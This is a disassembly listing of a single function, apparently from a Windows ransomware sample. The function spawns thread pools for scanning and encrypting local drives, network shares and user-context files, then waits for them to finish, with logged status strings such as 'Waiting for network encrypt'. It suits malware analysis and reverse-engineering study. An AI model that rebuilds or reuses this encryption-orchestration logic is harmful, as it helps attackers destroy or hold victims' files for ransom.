Function at 0x46e2c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [0x5f6ea4]
xor eax, esp
mov dword [esp + 0x10], eax
cmp byte [0x5fd98a], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
je 0x46e3bc
push str.___Local_threads...
call fcn.0046b090
mov ebx, dword [0x5fd970]
add esp, 4
mov dword [0x5ff9e4], 0xffffffff
mov dword [0x5ff9dc], 0
push 0
push 0
push 0
push 0
call esi
mov dword [0x5ff9e0], eax
test eax, eax
je 0x46e498
lea eax, [ebx*4]
push eax
call fcn.0055a43a
mov esi, eax
add esp, 4
test esi, esi
je 0x46e357
lea eax, [ebx*4]
push eax
push 0
push esi
call fcn.0054ec00
add esp, 0xc
mov dword [0x5ff9b0], esi
test esi, esi
je 0x46e498
push 0x5ff9bc
mov dword [0x5ff9b8], 0
mov dword [0x5ff9b4], ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor esi, esi
cmp dword [0x5ff9b4], esi
jle 0x46e3b6
nop word [eax + eax]
push 0
push 0
push 0x5ff9b0
push 0x47f480
push 0
push 0
call edi
mov ecx, dword [0x5ff9b0]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [0x5ff9b4]
jl 0x46e390
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp byte [0x5fd984], 0
jne 0x46e3d2
cmp byte [0x5fd98e], 0
je 0x46e59c
push str.___Network_shares_threads...
call fcn.0046b090
mov ebx, dword [0x5fd978]
add esp, 4
mov dword [0x5ffa54], 0xffffffff
mov dword [0x5ffa4c], 0
push 0
push 0
push 0
push 0
call esi
mov dword [0x5ffa50], eax
test eax, eax
je 0x46e4be
lea eax, [ebx*4]
push eax
call fcn.0055a43a
mov esi, eax
add esp, 4
test esi, esi
je 0x46e439
lea eax, [ebx*4]
push eax
push 0
push esi
call fcn.0054ec00
add esp, 0xc
mov dword [0x5ffa20], esi
test esi, esi
je 0x46e4be
push 0x5ffa2c
mov dword [0x5ffa28], 0
mov dword [0x5ffa24], ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor esi, esi
cmp dword [0x5ffa24], esi
jle 0x46e4d2
nop dword [eax + eax]
push 0
push 0
push 0x5ffa20
push 0x47f480
push 0
push 0
call edi
mov ecx, dword [0x5ffa20]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [0x5ffa24]
jl 0x46e470
jmp 0x46e4d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Cant_create_local_threadpool__Code__lu
call fcn.0046b090
add esp, 8
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Cant_create_network_threadpool__Code__lu
call fcn.0046b090
add esp, 8
mov eax, dword [0x5fd95c]
mov ebx, dword [0x5fd96c]
push 0
push 0
push 0
push 0
mov dword [0x5ffa1c], eax
mov dword [0x5ffa14], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x5ffa18], eax
test eax, eax
je 0x46e588
lea eax, [ebx*4]
push eax
call fcn.0055a43a
mov esi, eax
add esp, 4
test esi, esi
je 0x46e530
lea eax, [ebx*4]
push eax
push 0
push esi
call fcn.0054ec00
add esp, 0xc
mov dword [0x5ff9e8], esi
test esi, esi
je 0x46e588
push 0x5ff9f4
mov dword [0x5ff9f0], 0
mov dword [0x5ff9ec], ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor esi, esi
cmp dword [0x5ff9ec], esi
jle 0x46e59c
nop
push 0
push 0
push 0x5ff9e8
push 0x47f480
push 0
push 0
call edi
mov ecx, dword [0x5ff9e8]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [0x5ff9ec]
jl 0x46e560
jmp 0x46e59c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Cant_create_user_threadpool__Code__lu
call fcn.0046b090
add esp, 8
cmp byte [0x5fd984], 0
mov byte [0x5fd975], 1
jne 0x46e5b5
cmp byte [0x5fd98e], 0
je 0x46e5fc
cmp byte [0x5fd98d], 0
jne 0x46e5e6
cmp byte [0x5fd984], 0
je 0x46e5dd
push 0
push 0
push 0
push 0x4706e0
push 0
push 0
call edi
mov dword [0x5ffaf4], eax
cmp byte [0x5fd98e], 0
je 0x46e5fc
push 0
push 0
push 0
push 0x4704a0
push 0
push 0
call edi
mov dword [0x5ffaf8], eax
cmp byte [0x5fd98a], 0
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
je 0x46e690
cmp byte [0x5fdba2], 0
je 0x46e630
cmp byte [0x5fd96a], 0
jne 0x46e630
call fcn.0047cbf0
neg al
sbb al, al
and byte [0x5fdba2], al
push str.___Enumeration_drives...
call fcn.0046b090
add esp, 4
push 0
push 0
push 0
push 0x47db00
push 0
push 0
call edi
cmp byte [0x5fd98a], 0
mov edi, eax
je 0x46e690
test edi, edi
je 0x46e66f
push str.___Waiting_for_local_search...
call fcn.0046b090
add esp, 4
push 0xffffffffffffffff
push edi
call esi
push str.___Added_STOP_MARKER_to_local_thread.
call fcn.0046b090
add esp, 4
xor ecx, ecx
call fcn.0047f600
push str.___Local_Scan_completed.
call fcn.0046b090
add esp, 4
cmp byte [0x5fd984], 0
jne 0x46e6a6
cmp byte [0x5fd98e], 0
je 0x46e865
cmp dword [0x5ffaf4], 0
je 0x46e6c6
push str.___Waiting_for_network_search...
call fcn.0046b090
add esp, 4
push 0xffffffffffffffff
push dword [0x5ffaf4]
call esi
cmp dword [0x5ffaf8], 0
je 0x46e6e6
push str.___Waiting_for_network_encrypt...
call fcn.0046b090
add esp, 4
push 0xffffffffffffffff
push dword [0x5ffaf8]
call esi
push str.___Added_STOP_MARKER_to_network_thread.
call fcn.0046b090
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 4
cmp dword [0x5fd990], 0
je 0x46e745
push str.Waiting_network_encrypt...
mov dword [esp + 0x10], 0
call ebx
mov dword [esp + 0x14], str.Waiting_network_encrypt...
lea eax, [eax*2 + 2]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push eax
push 0xfa
push 2
lea eax, [esp + 0x18]
push eax
push 5
push 0x4a
push dword [0x5fd990]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov eax, dword [0x5ffa24]
xor esi, esi
test eax, eax
jle 0x46e78b
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 3
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x5e9b94
mov word [ecx], ax
call fcn.0044b740
xor edx, edx
lea ecx, [edx + 1]
call fcn.0047f6a0
mov eax, dword [0x5ffa24]
inc esi
add esp, 0x18
cmp esi, eax
jl 0x46e750
mov edi, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push 0xffffffffffffffff
push 1
push dword [0x5ffa20]
push eax
call edi
push str.___Network_processing_completed.
call fcn.0046b090
add esp, 4
push str.___Added_STOP_MARKER_to_user_context_thread.
call fcn.0046b090
add esp, 4
cmp dword [0x5fd990], 0
je 0x46e804
push str.Waiting_user_context_encrypt...
mov dword [esp + 0x10], 0
call ebx
mov dword [esp + 0x14], str.Waiting_user_context_encrypt...
lea eax, [eax*2 + 2]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push eax
push 0xfa
push 2
lea eax, [esp + 0x18]
push eax
push 5
push 0x4a
push dword [0x5fd990]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov eax, dword [0x5ff9ec]
xor esi, esi
test eax, eax
jle 0x46e84b
nop
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 3
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x5e9b94
mov word [ecx], ax
call fcn.0044b740
xor edx, edx
lea ecx, [edx + 2]
call fcn.0047f6a0
mov eax, dword [0x5ff9ec]
inc esi
add esp, 0x18
cmp esi, eax
jl 0x46e810
push 0xffffffffffffffff
push 1
push dword [0x5ff9e8]
push eax
call edi
push str.___User_context_processing_completed.
call fcn.0046b090
add esp, 4
cmp byte [0x5fd961], 0
je 0x46e4ac
mov ecx, 1
call fcn.0046e880
int3